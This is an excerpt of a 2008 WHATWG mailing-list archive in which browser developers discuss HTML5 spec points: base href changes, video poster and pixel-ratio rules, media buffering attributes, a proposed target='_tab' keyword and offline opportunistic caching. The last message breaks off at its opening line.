	<Pine.LNX.4.62.0705172313280.1180@dhalsim.dreamhost.com>
	<465E0C79.7030608@sicking.cc>
	<Pine.LNX.4.64.0708070248560.9753@dhalsim.dreamhost.com>
	<46C122D8.4000000@sicking.cc>
	<Pine.LNX.4.62.0802130101260.20115@hixie.dreamhostps.com>
	<47C94C35.1000409@sicking.cc>
	<AEDA4554-6737-40C2-88DD-7E932F52AE5B@apple.com>
	<20080302021821.GB22099@ridley.dbaron.org>
	<3A96FD87-E0F8-48EA-8BA3-B7A5B96ED848@apple.com>
	<20080302063125.GA11915@ridley.dbaron.org>
	<4C40D961-FED9-47A5-9833-96E685609CCA@apple.com>
	<op.t7eshxhd64w2qv@annevk-t60.oslo.opera.com>
	<Pine.LNX.4.62.0806060028380.8559@hixie.dreamhostps.com>
Message-ID: <F2B519BF-A2FD-4AA8-A8A7-3A216315BB77@apple.com>


On Jun 6, 2008, at 12:01 PM, Ian Hickson wrote:

>
> On Sat, 1 Mar 2008, Jonas Sicking wrote:
>>
>> I very much agree it's an edge case and would be fine with leaving it
>> undefined.
>
> Well, right now it's implicitly defined that changing the base changes
> anything refering to that base instantly. I'm not really sure how to
> unspecify that without adding a really weird clause like "in the event
> that the attribute is changed, user agents may, whenever convenient,
> pretend, for the sake of url resolution, that it has not changed".
>
>
> I have made notes in the spec that this is an area that needs  
> defining.
> Right now I'm leaning towards defining a "base href change  
> notification
> behaviour" for all elements that have URI attributes or are otherwise
> sensitive to base href changes, and defining that when the base href
> changes, all the elements in the document with such behaviour defined
> should have that behaviour activated (this would, in the simple  
> case, just
> be a walk over the document with a virtual method call per element; it
> might be a bit slow for some documents, but then this is a very rare
> occurance anyway). We would also invoke this behaviour on the entire
> subtree of an element whenever that element is inserted into a  
> different
> document, in case it matters in any cases.
>
> In practice I think this only actually affects :link/:visited and  
> url()
> rules in style="" attributes. I plan on making <img>/<iframe>/<link
> rel=stylesheet> etc not reload their content if the base href changes
> (though that does mean that .src and .href will end up pointing to  
> URIs
> that aren't actually what was loaded). I can't think of any other  
> cases
> that are sensitive off the top of my head, but I'll be thorough if I  
> do
> end up specifying this.
>
> The question is, are people ok with that plan?

It seems weird for src and href attributes to have a URI other than  
what the element has loaded or is loading - this would be the only  
case where they may not match. (Also, would setting href or src to  
itself in such a case trigger a load of a different resource?)

I have to admit I am not especially excited about implementing instant  
dynamic updates of everything in the document referencing a URI,  
whether it triggers a load or not, when the <base> element is changed.  
That seems like a lot of coding and testing work solely to serve a  
very unimportant edge case that right now likely no one depends on. In  
general if the spec requires significant implementation work for  
something that has no real user or author benefit, just because that  
is easier to define, then I think we have chosen poorly.

Regards,
Maciej



From simonp at opera.com  Mon Jun  9 08:19:03 2008
From: simonp at opera.com (Simon Pieters)
Date: Mon, 09 Jun 2008 17:19:03 +0200
Subject: [whatwg] print preview and onbeforeprint (was: Re: several messages)
In-Reply-To: <Pine.LNX.4.62.0806052348380.8559@hixie.dreamhostps.com>
References: <200509062037.j86Kbmil026603@recluse.mozilla.org>
	<Pine.LNX.4.62.0806052348380.8559@hixie.dreamhostps.com>
Message-ID: <op.uchl5118idj3kv@zcorpandell.linkoping.osa>

On Fri, 06 Jun 2008 02:11:45 +0200, Ian Hickson <ian at hixie.ch> wrote:

>> I'll add another case: the onafterprint event could be used in a
>> "wizard"-style application where printing some document is step 3 of 10,
>> for example.  The application could proceed to the next step (not
>> necessarily a different document) automatically without requiring a
>> button that says "click here when done printing".  That's a case that a
>> media-specific stylesheet cannot handle.  Automating tasks and reducing
>> clicks are both high priorities in my development of web applications.
>
> Good use case!

But breaks if the user does a print preview first, no? (The events fire in  
IE when doing print preview.)

-- 
Simon Pieters
Opera Software


From philipj at opera.com  Mon Jun  9 09:01:21 2008
From: philipj at opera.com (Philip =?ISO-8859-1?Q?J=E4genstedt?=)
Date: Mon, 09 Jun 2008 18:01:21 +0200
Subject: [whatwg] Interpretation of video poster attribute
In-Reply-To: <dd0fbad0806030800n22c76bf3n180f1048f13b2154@mail.gmail.com>
References: <1212496617.24802.6.camel@nog.bredbandsbolaget.se>
	<dd0fbad0806030759m789af621qa3fe21493bdb3b66@mail.gmail.com>
	<dd0fbad0806030800n22c76bf3n180f1048f13b2154@mail.gmail.com>
Message-ID: <1213027282.6676.43.camel@nog.bredbandsbolaget.se>

?Hi again,

Reading
http://lists.w3.org/Archives/Public/public-html/2007Oct/0108.html it is
clear that the intention of the poster attribute is to represent a still
image from the video. This should probably be made explicit in the spec
with something in the style of:

The poster image typically represents a still frame of video. User
agents must (may?) take this into account by applying the same rules as
for rendering video (aspect ratio correction, scaling, centering). HTTP
4xx and 5xx errors (and equivalents in other protocols) must (may?)
cause the user agent to ignore the poster attribute.

This needs to be clear as there are two quite natural interpretations of
what kind of image "the user agent can show while no video data is
available". The first is an unscaled, centered "click to play" button,
while the second is a scaled, centered and aspect ratio corrected still
frame from the video.

Philip

On Tue, 2008-06-03 at 10:00 -0500, Tab Atkins Jr. wrote:
> 
> 
> On Tue, Jun 3, 2008 at 7:36 AM, Philip J?genstedt <philipj at opera.com>
> wrote:
>         Hi!
>         
>         I'm a bit puzzled about how to interpret the poster attribute
>         on
>         HTMLVideoElement:
>         
>         "The poster attribute gives the address of an image file that
>         the user
>         agent can show while no video data is available. The
>         attribute, if
>         present, must contain a URI (or IRI)."
>         
>         Is the intention that this image should be stretched to the
>         size of the
>         video element, or that it should be centered in the frame? If
>         the width
>         and height attributes are not given, should the video element
>         initially
>         be given the size of the poster image, or should the user
>         agent wait
>         until it has the dimensions of the video (thereby making the
>         poster
>         useless)?
>         
>         In short, what is the intended use of poster?
>         
>         -- Philip J?genstedt
> 
> Just for similar-implementation-ideas, flvplayer simply aligns the
> poster image to the upper-left of the object element, with no scaling
> at all.  If width and height are not given, it simply doesn't display
> at all.
> 
> 
> Unless there's already some alternate intent, I suggest <video> scale
> to the poster's size if no explicit size is given.
> 
> ~TJ
> 
> 



From jonas at sicking.cc  Mon Jun  9 20:25:36 2008
From: jonas at sicking.cc (Jonas Sicking)
Date: Mon, 09 Jun 2008 20:25:36 -0700
Subject: [whatwg] createImageData
In-Reply-To: <66629F5C-A66F-484E-AAF4-6618BF7AA574@pobox.com>
References: <Pine.LNX.4.62.0611151735330.28418@dhalsim.dreamhost.com>	<4560F162.7060204@stefan-haustein.com>	<Pine.LNX.4.62.0805020038260.21650@hixie.dreamhostps.com>	<0738FD12-AC1F-44C0-B731-2FF7C6084BDC@pobox.com>	<Pine.LNX.4.62.0805100036080.23610@hixie.dreamhostps.com>	<E5819C3D-698A-4AFC-9CD6-C0BDE670227F@pobox.com>	<3A588C7C-DD91-495E-87F0-4FAAA2E60E71@pobox.com>	<6D02C77F-6528-4032-8071-00CCF8D43B5C@apple.com>	<0C3E377C-A5E4-4D7A-90A8-F97513B1CA1E@pobox.com>	<B483364C-AA4F-405F-BDEB-4081071B43B9@apple.com>	<3176995D-372E-4430-A2F6-0605E93123E8@pobox.com>	<E31F35F6-366E-4680-81E7-72F6E07E1D9F@apple.com>	<CE1AC749-12A0-4FD6-BF55-5B68032C018C@pobox.com>	<B27A91CD-A9A8-4BA8-8A3B-F1802F5A1314@apple.com>
	<66629F5C-A66F-484E-AAF4-6618BF7AA574@pobox.com>
Message-ID: <484DF430.4090807@sicking.cc>

Vladimir Vukicevic wrote:
> 
> Sorry it took me a bit to respond here... so, ok, based on the 
> discussion, I'd suggest:
> 
> - user-created ImageData-like objects should be supported, e.g. with 
> language such as:

Do note that dealing with user-created objects isn't trivial. You have 
to be prepared for dealing with the user-created object changing the 
whole world under you during a callback, this includes things like doing 
any modification to the canvas object itself, but also things like 
script navigating away and then causing a GC to tear down the world 
around you.

This is usually not very hard to deal with, as long as you are not deep 
inside a long callstack when calling out to content. This is because you 
have to ensure that the whole callstack is ok with the world changing 
around it.

/ Jonas


From philipj at opera.com  Tue Jun 10 03:24:04 2008
From: philipj at opera.com (Philip =?ISO-8859-1?Q?J=E4genstedt?=)
Date: Tue, 10 Jun 2008 12:24:04 +0200
Subject: [whatwg] HTMLMediaElement buffered/bufferedBytes
Message-ID: <1213093444.6664.35.camel@nog.bredbandsbolaget.se>

Hi,

I'm currently implementing more of <audio> and <video> (in Opera) and
will probably have quite a lot of questions/comments during the coming
months. If this is not the best place for such discussion, please point
out where I need to be.

Today's issue:

The name of the buffered/bufferedBytes attributes imply that these
ranges are buffered on disk or in memory, so that they will not have to
be re-downloaded. However, the description reads "the ranges of the
media resource, if any, that the user agent has downloaded, at the time
the attribute is evaluated."

This is not the same things, as we will not be able to buffer large
files on memory-limited devices. Instead, we might only buffer 1 MB of
data around the current playback point, or some other scheme.

I would suggest that buffered/bufferedBytes be taken to mean exactly
what they sound like by changing the description to something like:
(differences marked *like this*)

The buffered attribute must return a static normalized TimeRanges object
that represents the ranges of the media resource, if any, that the user
agent has *buffered*, at the time the attribute is evaluated.

Note: Typically this will be a single range anchored at the zero point,
but if, e.g. the user agent uses HTTP range requests in response to
seeking, then there could be multiple ranges. *There is no guarantee
that all buffered ranges will remain buffered, due to storage/memory
constraints or other reasons.*

The intention is that only ranges which are actually internally buffered
should be exposed in the buffered/bufferedBytes ranges, whereas the
current phrasing implies that all ranges which have at some point been
downloaded/buffered should be included.

Admittedly, this makes the attributes useless for determining how much
of the resource has been downloaded, but if this is needed I might
suggest the attributes downloaded/downloadedBytes instead. The
usefulness of the buffered attribute (in my current interpretation) is
not obvious to me at all, I would appreciate some use cases if possible.

--
Philip J?genstedt
?Opera Software



From silviapfeiffer1 at gmail.com  Tue Jun 10 03:35:13 2008
From: silviapfeiffer1 at gmail.com (Silvia Pfeiffer)
Date: Tue, 10 Jun 2008 20:35:13 +1000
Subject: [whatwg] HTMLMediaElement buffered/bufferedBytes
In-Reply-To: <1213093444.6664.35.camel@nog.bredbandsbolaget.se>
References: <1213093444.6664.35.camel@nog.bredbandsbolaget.se>
Message-ID: <2c0e02830806100335o1a1a85f7n14df30d8e366d5a5@mail.gmail.com>

I think this all makes sense.
+1 from me.

Cheers,
Silvia.

On Tue, Jun 10, 2008 at 8:24 PM, Philip J?genstedt <philipj at opera.com> wrote:
> Hi,
>
> I'm currently implementing more of <audio> and <video> (in Opera) and
> will probably have quite a lot of questions/comments during the coming
> months. If this is not the best place for such discussion, please point
> out where I need to be.
>
> Today's issue:
>
> The name of the buffered/bufferedBytes attributes imply that these
> ranges are buffered on disk or in memory, so that they will not have to
> be re-downloaded. However, the description reads "the ranges of the
> media resource, if any, that the user agent has downloaded, at the time
> the attribute is evaluated."
>
> This is not the same things, as we will not be able to buffer large
> files on memory-limited devices. Instead, we might only buffer 1 MB of
> data around the current playback point, or some other scheme.
>
> I would suggest that buffered/bufferedBytes be taken to mean exactly
> what they sound like by changing the description to something like:
> (differences marked *like this*)
>
> The buffered attribute must return a static normalized TimeRanges object
> that represents the ranges of the media resource, if any, that the user
> agent has *buffered*, at the time the attribute is evaluated.
>
> Note: Typically this will be a single range anchored at the zero point,
> but if, e.g. the user agent uses HTTP range requests in response to
> seeking, then there could be multiple ranges. *There is no guarantee
> that all buffered ranges will remain buffered, due to storage/memory
> constraints or other reasons.*
>
> The intention is that only ranges which are actually internally buffered
> should be exposed in the buffered/bufferedBytes ranges, whereas the
> current phrasing implies that all ranges which have at some point been
> downloaded/buffered should be included.
>
> Admittedly, this makes the attributes useless for determining how much
> of the resource has been downloaded, but if this is needed I might
> suggest the attributes downloaded/downloadedBytes instead. The
> usefulness of the buffered attribute (in my current interpretation) is
> not obvious to me at all, I would appreciate some use cases if possible.
>
> --
> Philip J?genstedt
> ?Opera Software
>
>

From simonp at opera.com  Tue Jun 10 03:44:05 2008
From: simonp at opera.com (Simon Pieters)
Date: Tue, 10 Jun 2008 12:44:05 +0200
Subject: [whatwg] Proposal: target="_tab"
Message-ID: <op.uci33rm9idj3kv@zcorpandell.linkoping.osa>

In http://forums.whatwg.org/viewtopic.php?t=185 it is proposed that  
authors should have the ability to suggest that links open in new windows  
and new tabs. The suggested solution is to introduce a new browsing  
context keyword "_tab".

Use case for opening a new window with specified size: help popup.

Use case for opening a new window without specified size: print page.

Use case for opening a new tab: links in GReader for later reading.

Demand for this feature: http://www.google.com/search?q=_tab

-- 
Simon Pieters
Opera Software


From honzab at allpeers.com  Tue Jun 10 04:05:49 2008
From: honzab at allpeers.com (Honza Bambas)
Date: Tue, 10 Jun 2008 13:05:49 +0200
Subject: [whatwg] Opportunistic caching
Message-ID: <484E600D.6010308@allpeers.com>

Hi, I would like to ask for clarification of opportunistic caching spec 
in Offline Web Applications, the article 4.9.1.9. 

Adding a resource whom URI matches an opportunistic name space seems to
be done only for top level documents according to the article 4.9.1.9,
cite: "If the resource was not fetched from..." where the resource
refers, as I understand, the top-level document being navigated.

I didn't find any other place where a resource whom URI matched an
opportunistic entry would be added to a cache as opportunistically
cached. I would naturally expect it were part of the networking model,
article 4.7.5.1 - "Changes to the networking model", but I couldn't
find it, at least not explicitly, expressed.

Maybe I am missing something in the networking model spec: in
article 4.7.5.1.4 when URI matches a name space it have to be "fetched
normally". Should implementers replace normal HTTP cache used for
writing by offline cache to store the resource in it? Instead of normal
HTTP cache?

Thanks for advice.
Honza Bambas, a mozilla developer

-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://lists.whatwg.org/pipermail/whatwg-whatwg.org/attachments/20080610/b0d06555/attachment.htm>

From jens at meiert.com  Tue Jun 10 04:12:17 2008
From: jens at meiert.com (Jens Meiert)
Date: Tue, 10 Jun 2008 13:12:17 +0200
Subject: [whatwg] Proposal: target="_tab"
In-Reply-To: <op.uci33rm9idj3kv@zcorpandell.linkoping.osa>
References: <op.uci33rm9idj3kv@zcorpandell.linkoping.osa>
Message-ID: <9fbcac550806100412p2599b7fle06f04f637c43448@mail.gmail.com>

> In http://forums.whatwg.org/viewtopic.php?t=185 it is proposed that authors
> should have the ability to suggest that links open in new windows and new
> tabs. The suggested solution is to introduce a new browsing context keyword
> "_tab".

Wondering: How is CSS 3's Hyperlink Presentation Module [1] (and its
"target-new" property) supposed to fit in, /theoretically/ allowing us
to drop @target altogether?


[1] http://www.w3.org/TR/css3-hyperlinks/

-- 
Jens Meiert
http://meiert.com/en/


From joao.eiras at gmail.com  Tue Jun 10 05:55:53 2008
From: joao.eiras at gmail.com (=?iso-8859-15?Q?Jo=E3o_Eiras?=)
Date: Tue, 10 Jun 2008 13:55:53 +0100
Subject: [whatwg] Proposal: target="_tab"
In-Reply-To: <op.uci33rm9idj3kv@zcorpandell.linkoping.osa>
References: <op.uci33rm9idj3kv@zcorpandell.linkoping.osa>
Message-ID: <op.uci97fh9jz3wb9@mors.wag54gs>

IMO, both _blank and _tab should always open in the same window, under a  
new tab. Else that would be bad usability.
Browsers currently already support this.
So, I think it's therefore redundant.

Na , Simon Pieters <simonp at opera.com> escreveu:

> In http://forums.whatwg.org/viewtopic.php?t=185 it is proposed that  
> authors should have the ability to suggest that links open in new  
> windows and new tabs. The suggested solution is to introduce a new  
> browsing context keyword "_tab".
>
> Use case for opening a new window with specified size: help popup.
>
> Use case for opening a new window without specified size: print page.
>
> Use case for opening a new tab: links in GReader for later reading.
>
> Demand for this feature: http://www.google.com/search?q=_tab
>




From lachlan.hunt at lachy.id.au  Tue Jun 10 06:54:38 2008
From: lachlan.hunt at lachy.id.au (Lachlan Hunt)
Date: Tue, 10 Jun 2008 15:54:38 +0200
Subject: [whatwg] Proposal: target="_tab"
In-Reply-To: <op.uci33rm9idj3kv@zcorpandell.linkoping.osa>
References: <op.uci33rm9idj3kv@zcorpandell.linkoping.osa>
Message-ID: <484E879E.5030809@lachy.id.au>

Simon Pieters wrote:
> In http://forums.whatwg.org/viewtopic.php?t=185 it is proposed that 
> authors should have the ability to suggest that links open in new 
> windows and new tabs. The suggested solution is to introduce a new 
> browsing context keyword "_tab".

I don't believe it should be up to the document author to distinguish 
between a page opened up in a new window or new tab, since that is 
entirely a browser interface issue.  Since several browsers already 
treat _blank in that way anyway, introducing a new keyword doesn't seem 
particularly  useful.

-- 
Lachlan Hunt - Opera Software
http://lachy.id.au/
http://www.opera.com/


From borekbe at yahoo.co.uk  Tue Jun 10 08:36:22 2008
From: borekbe at yahoo.co.uk (Borek Bernard)
Date: Tue, 10 Jun 2008 15:36:22 +0000 (GMT)
Subject: [whatwg] Proposal: target="_tab"
Message-ID: <349013.53387.qm@web25905.mail.ukl.yahoo.com>

>>>> Wondering: How is CSS 3's Hyperlink Presentation Module [1] (and its "target-new" property) supposed to fit in, /theoretically/ allowing us to drop @target altogether?

That looks great (didn't know of that!), that would sort out the HTML/CSS part of game (although implementing target="_tab" would be probably easier for browser vendors than implementing CSS3).

We would still need something equivalent in JavaScript though -- but I'm not sure how that is related to WHATWG.

Borek



      __________________________________________________________
Sent from Yahoo! Mail.
A Smarter Email http://uk.docs.yahoo.com/nowyoucan.html


From borekbe at yahoo.co.uk  Tue Jun 10 08:49:28 2008
From: borekbe at yahoo.co.uk (Borek Bernard)
Date: Tue, 10 Jun 2008 15:49:28 +0000 (GMT)
Subject: [whatwg] Proposal: target="_tab"
Message-ID: <402573.64200.qm@web25901.mail.ukl.yahoo.com>

>>>> IMO, both _blank and _tab should always open in the same window, under a new tab. ... Browsers currently already support this. So, I think it's therefore redundant.

As you stated, that is your user preference and my preference can be different. You are lucky that your preference fits in current browsers' feature set, I have argued in the forum post linked before [1] that I don't think it's reasonable to expect the required level of browser customizeability any time soon.

[1] http://forums.whatwg.org/viewtopic.php?t=186

---
Borek


      __________________________________________________________
Sent from Yahoo! Mail.
A Smarter Email http://uk.docs.yahoo.com/nowyoucan.html


From borekbe at yahoo.co.uk  Tue Jun 10 08:55:04 2008
From: borekbe at yahoo.co.uk (Borek Bernard)
Date: Tue, 10 Jun 2008 15:55:04 +0000 (GMT)
Subject: [whatwg]  Proposal: target="_tab"
Message-ID: <972603.68234.qm@web25901.mail.ukl.yahoo.com>

>>>>> I don't believe it should be up to the document author to distinguish between a page opened up in a new window or new tab, since that is entirely a browser interface issue. Since several browsers already treat _blank in that way anyway, introducing a new keyword doesn't seem particularly  useful.

I would kindly point you to the original proposal linked before (http://forums.whatwg.org/viewtopic.php?t=186) where this has been discussed in quite a great depth.

---
Borek



      __________________________________________________________
Sent from Yahoo! Mail.
A Smarter Email http://uk.docs.yahoo.com/nowyoucan.html


From joao.eiras at gmail.com  Tue Jun 10 09:03:51 2008
From: joao.eiras at gmail.com (=?iso-8859-15?Q?Jo=E3o_Eiras?=)
Date: Tue, 10 Jun 2008 17:03:51 +0100
Subject: [whatwg] Proposal: target="_tab"
In-Reply-To: <402573.64200.qm@web25901.mail.ukl.yahoo.com>
References: <402573.64200.qm@web25901.mail.ukl.yahoo.com>
Message-ID: <op.ucjiwpcejz3wb9@mors.wag54gs>

This approach however has two problems:
  - user agent that don't support _tab which would have to interpret as  
_blank, or _self, so this case need to be predicted in the spec, if any
  - that value is not backwards compatible. I'd expect for an user agent  
that does not support tabs to open a new window, but a unknwon target  
opens in the same window, so you'll probably will have to make up  
something different.


Na , Borek Bernard <borekbe at yahoo.co.uk> escreveu:

>>>>> IMO, both _blank and _tab should always open in the same window,  
>>>>> under a new tab. ... Browsers currently already support this. So, I  
>>>>> think it's therefore redundant.
>
> As you stated, that is your user preference and my preference can be  
> different. You are lucky that your preference fits in current browsers'  
> feature set, I have argued in the forum post linked before [1] that I  
> don't think it's reasonable to expect the required level of browser  
> customizeability any time soon.
>
> [1] http://forums.whatwg.org/viewtopic.php?t=186
>
> ---
> Borek
>
>
>       __________________________________________________________
> Sent from Yahoo! Mail.
> A Smarter Email http://uk.docs.yahoo.com/nowyoucan.html




From philipj at opera.com  Tue Jun 10 09:31:05 2008
From: philipj at opera.com (Philip =?ISO-8859-1?Q?J=E4genstedt?=)
Date: Tue, 10 Jun 2008 18:31:05 +0200
Subject: [whatwg] Change request: rules for pixel ratio
Message-ID: <1213115465.6664.83.camel@nog.bredbandsbolaget.se>

Hi!

http://www.w3.org/html/wg/html5/#pixelratio

The pixelratio attribute allows the author to specify the pixel ratio of
anamorphic media resources that do not self-describe their pixel ratio.
[...] The default value, if the attribute is omitted or cannot be
parsed, is 1.0.

This seems more than strange. Should this be taken to mean that the
pixelratio attribute is defaulted to 1.0 even for ?media resources that
DO NOT self-describe their pixel ratio? To be clear what we are talking
about, here are some example pixel ratios:

PAL (720x576) 4:3 DVD ?has pixel ratio 16:15 (=1.067)
?PAL (720x576) anamorphic 16:9 DVD has pixel ratio 64:45 (=1.422)
?NTSC (720x480) 4:3 DVD ?has pixel ratio 40:45 (=0.889)
NTSC (720x480) anamorphic 16:9 DVD has pixel ratio 32:27 (=1.185)

To display such video correctly, the pixel aspect ratio must be correct.
Since many formats can specify pixel ratio (including Ogg Theora) this
is trivial to do automatically, but it would be a spec violation. In my
opinion, it would make a lot more sense to let the pixel ratio default
to the media resources self-described pixel ratio, and 1.0 only as the
last resort.

Suggested change to http://www.w3.org/html/wg/html5/#pixelratio :

The default value, if the attribute is omitted or cannot be parsed,
is ?the media resource's self-described pixel ratio, or 1.0 ?for ?media
resources that do not self-describe their pixel ratio.

Suggested changes to http://www.w3.org/html/wg/html5/#pick-a

5. If candidate is not null and it has a pixelratio attribute, then let
the chosen resource's pixel ratio be result of applying the rules for
parsing floating point number values to the value of that attribute, or
1.0 if those rules return an error. Otherwise, let the chosen resource's
pixel ratio be the media resource's self-described pixel ratio, or
1.0 ?for ?media resources that do not self-describe their pixel ratio.

Just to be clear, the intended priority is:

1. pixelratio attribute
2. self-described pixel ratio
3. 1.0

Perhaps these changes are too verbose, they could be made shorter if the
meaning is still clear.

Comments?

It is also worth noting that when the pixel ratio is < 1.0 it will make
more sense for the user agent to adjust the height than the width if no
width/height attributes have been set. This could be pointed out in the
rendering section eventually.

-- 
Philip J?genstedt
Opera Software



From giles at xiph.org  Tue Jun 10 10:48:33 2008
From: giles at xiph.org (Ralph Giles)
Date: Tue, 10 Jun 2008 10:48:33 -0700
Subject: [whatwg] Change request: rules for pixel ratio
In-Reply-To: <1213115465.6664.83.camel@nog.bredbandsbolaget.se>
References: <1213115465.6664.83.camel@nog.bredbandsbolaget.se>
Message-ID: <9B55D7C5-27AF-4AC9-A4DB-F2A37709F7EF@xiph.org>

On 10-Jun-08, at 9:31 AM, Philip J?genstedt wrote:

> The default value, if the attribute is omitted or cannot be parsed,  
> is the media resource's self-described pixel ratio, or 1.0 for  
> media resources that do not self-describe their pixel ratio.

This is actually how I read the original, but your wording resolves  
the ambiguity. Sounds like an improvement to me.

Does this mean the implementation must retrieve the self-described  
pixel aspect ratio from the stream and supply it as part of the DOM?

  -r

From lists07 at wiltgen.net  Tue Jun 10 12:16:25 2008
From: lists07 at wiltgen.net (Charles)
Date: Tue, 10 Jun 2008 12:16:25 -0700
Subject: [whatwg] Change request: rules for pixel ratio
In-Reply-To: <9B55D7C5-27AF-4AC9-A4DB-F2A37709F7EF@xiph.org>
References: <1213115465.6664.83.camel@nog.bredbandsbolaget.se>
	<9B55D7C5-27AF-4AC9-A4DB-F2A37709F7EF@xiph.org>
Message-ID: <00c901c8cb2e$7a93a650$6fbaf2f0$@net>

> Does this mean the implementation must retrieve the self-described
> pixel aspect ratio from the stream and supply it as part of the DOM?

Offhand, I can't think of any use cases where it'd be useful to expose pixel
aspect ratio.

(Before folks chime in, note that pixel aspect ratio <> picture aspect
ratio.  A typical video encoded for PC viewing would have a pixel aspect
ratio of 1:1 and a picture aspect ratio of 4:3 or 16:9.)

-- Charles




From borekbe at yahoo.co.uk  Tue Jun 10 13:08:58 2008
From: borekbe at yahoo.co.uk (Borek Bernard)
Date: Tue, 10 Jun 2008 20:08:58 +0000 (GMT)
Subject: [whatwg] Proposal: target="_tab"
Message-ID: <645479.57361.qm@web25905.mail.ukl.yahoo.com>

>From my brief testing, _tab opens a new window so it should be backwards compatible.

----- Original Message ----
From: Jo?o Eiras <joao.eiras at gmail.com>
To: Borek Bernard <borekbe at yahoo.co.uk>; whatwg at lists.whatwg.org
Sent: Tuesday, 10 June, 2008 6:03:51 PM
Subject: Re: [whatwg] Proposal: target="_tab"

This approach however has two problems:
  - user agent that don't support _tab which would have to interpret as  
_blank, or _self, so this case need to be predicted in the spec, if any
  - that value is not backwards compatible. I'd expect for an user agent  
that does not support tabs to open a new window, but a unknwon target  
opens in the same window, so you'll probably will have to make up  
something different.


Na , Borek Bernard <borekbe at yahoo.co.uk> escreveu:

>>>>> IMO, both _blank and _tab should always open in the same window,  
>>>>> under a new tab. ... Browsers currently already support this. So, I  
>>>>> think it's therefore redundant.
>
> As you stated, that is your user preference and my preference can be  
> different. You are lucky that your preference fits in current browsers'  
> feature set, I have argued in the forum post linked before [1] that I  
> don't think it's reasonable to expect the required level of browser  
> customizeability any time soon.
>
> [1] http://forums.whatwg.org/viewtopic.php?t=186
>
> ---
> Borek
>
>
>       __________________________________________________________
> Sent from Yahoo! Mail.
> A Smarter Email http://uk.docs.yahoo.com/nowyoucan.html


      __________________________________________________________
Sent from Yahoo! Mail.
A Smarter Email http://uk.docs.yahoo.com/nowyoucan.html


From adrian.sutton at ephox.com  Tue Jun 10 13:29:54 2008
From: adrian.sutton at ephox.com (Adrian Sutton)
Date: Tue, 10 Jun 2008 21:29:54 +0100
Subject: [whatwg] Proposal: target="_tab"
In-Reply-To: <645479.57361.qm@web25905.mail.ukl.yahoo.com>
Message-ID: <C474A2D2.537D%adrian.sutton@ephox.com>

>> From my brief testing, _tab opens a new window so it should be backwards
>> compatible.

It's deceptively close but not quite backwards compatible. _tab will cause
the link to open in the frame called "_tab" and if it doesn't exist it
creates it, as a new window. So the first link works perfectly and opens a
new window but the second link you click will replace the first one since
there is now a frame called "_tab".

Regards,

Adrian Sutton.
______________________
Adrian Sutton, CTO
US: +1 (650) 292 9659 x717 UK: +44 (20) 8123 0617 x717
Ephox <http://www.ephox.com/>
Ephox Blogs <http://planet.ephox.com/>, Personal Blog
<http://www.symphonious.net/>



From ian at hixie.ch  Tue Jun 10 14:46:34 2008
From: ian at hixie.ch (Ian Hickson)
Date: Tue, 10 Jun 2008 21:46:34 +0000 (UTC)
Subject: [whatwg] Opportunistic caching
In-Reply-To: <484E600D.6010308@allpeers.com>
References: <484E600D.6010308@allpeers.com>
Message-ID: <Pine.LNX.4.62.0806102141080.6527@hixie.dreamhostps.com>

On Tue, 10 Jun 2008, Honza Bambas wrote:
>
> Hi, I would like to ask for clarification of opportunistic caching spec 
> in Offline Web Applications, the article 4.9.1.9. Adding a resource whom 
> URI matches an opportunistic name space seems to be done only for top 
> level documents according to the article 4.9.1.9, cite: "If the resource 
> was not fetched from..." where the resource refers, as I understand, the 
> top-level document being navigated.
> 
> I didn't find any other place where a resource whom URI matched an 
> opportunistic entry would be added to a cache as opportunistically 
> cached. I would naturally expect it were part of the networking model, 
> article 4.7.5.1 - "Changes to the networking model", but I couldn't find 
> it, at least not explicitly, expressed.
> 
> Maybe I am missing something in the networking model spec: in article 
> 4.7.5.1.4 when URI matches a name space it have to be "fetched 
> normally". Should implementers replace normal HTTP cache used for 
> writing by offline cache to store the resource in it? Instead of normal 
> HTTP cache?

Resources can only be cached as opportunistically cached entries if a 
browsing context is navigated, but it doesn't have to be a top-level 
browsing context. The caching happens in the "Otherwise" clause of step 9 
of the 4.9.1 Navigating across documents "navigation" algorithm.

If by "top-level" you don't mean a window/tab, but mean any iframe or 
frame content document, as opposed to an image, a stylesheet, or some 
such, then you are correct. The use case was really just replacing pages, 
e.g. Flickr pages, when the whole site isn't cached. Do you think this 
should be changed to opportunistically cache anything accessed?

-- 
Ian Hickson               U+1047E                )\._.,--....,'``.    fL
http://ln.hixie.ch/       U+263A                /,   _.. \   _\  ;`._ ,.
Things that are impossible just take longer.   `._.-(,_..'--(,_..'`-.;.'


From ian at hixie.ch  Tue Jun 10 15:16:50 2008
From: ian at hixie.ch (Ian Hickson)
Date: Tue, 10 Jun 2008 22:16:50 +0000 (UTC)
Subject: [whatwg] Proposal: target="_tab"
In-Reply-To: <C474A2D2.537D%adrian.sutton@ephox.com>
References: <C474A2D2.537D%adrian.sutton@ephox.com>
Message-ID: <Pine.LNX.4.62.0806102212570.6527@hixie.dreamhostps.com>

On Tue, 10 Jun 2008, Simon Pieters wrote:
>
> In http://forums.whatwg.org/viewtopic.php?t=185 it is proposed that 
> authors should have the ability to suggest that links open in new 
> windows and new tabs. The suggested solution is to introduce a new 
> browsing context keyword "_tab".
> 
> Use case for opening a new window with specified size: help popup.
> 
> Use case for opening a new window without specified size: print page.
> 
> Use case for opening a new tab: links in GReader for later reading.
> 
> Demand for this feature: http://www.google.com/search?q=_tab

In general, it's best to let users decide where the link should open. In 
cases where the author really wants to open a new top-level browsing 
context, _blank already provides that option. Help popups are probably 
better done using inline floating iframes inside <aside>. Browsers having 
tabs, windows, or any number of other UI constructs should not be an issue 
that Web authors need to deal with. Thus, I don't think _tab makes much 
sense.

[snip a number of arguments much like the above]

-- 
Ian Hickson               U+1047E                )\._.,--....,'``.    fL
http://ln.hixie.ch/       U+263A                /,   _.. \   _\  ;`._ ,.
Things that are impossible just take longer.   `._.-(,_..'--(,_..'`-.;.'


From philipj at opera.com  Wed Jun 11 00:41:53 2008
From: philipj at opera.com (Philip =?ISO-8859-1?Q?J=E4genstedt?=)
Date: Wed, 11 Jun 2008 09:41:53 +0200
Subject: [whatwg] Change request: rules for pixel ratio
In-Reply-To: <9B55D7C5-27AF-4AC9-A4DB-F2A37709F7EF@xiph.org>
References: <1213115465.6664.83.camel@nog.bredbandsbolaget.se>
	<9B55D7C5-27AF-4AC9-A4DB-F2A37709F7EF@xiph.org>
Message-ID: <1213170113.6562.23.camel@nog.bredbandsbolaget.se>

On Tue, 2008-06-10 at 10:48 -0700, Ralph Giles wrote:
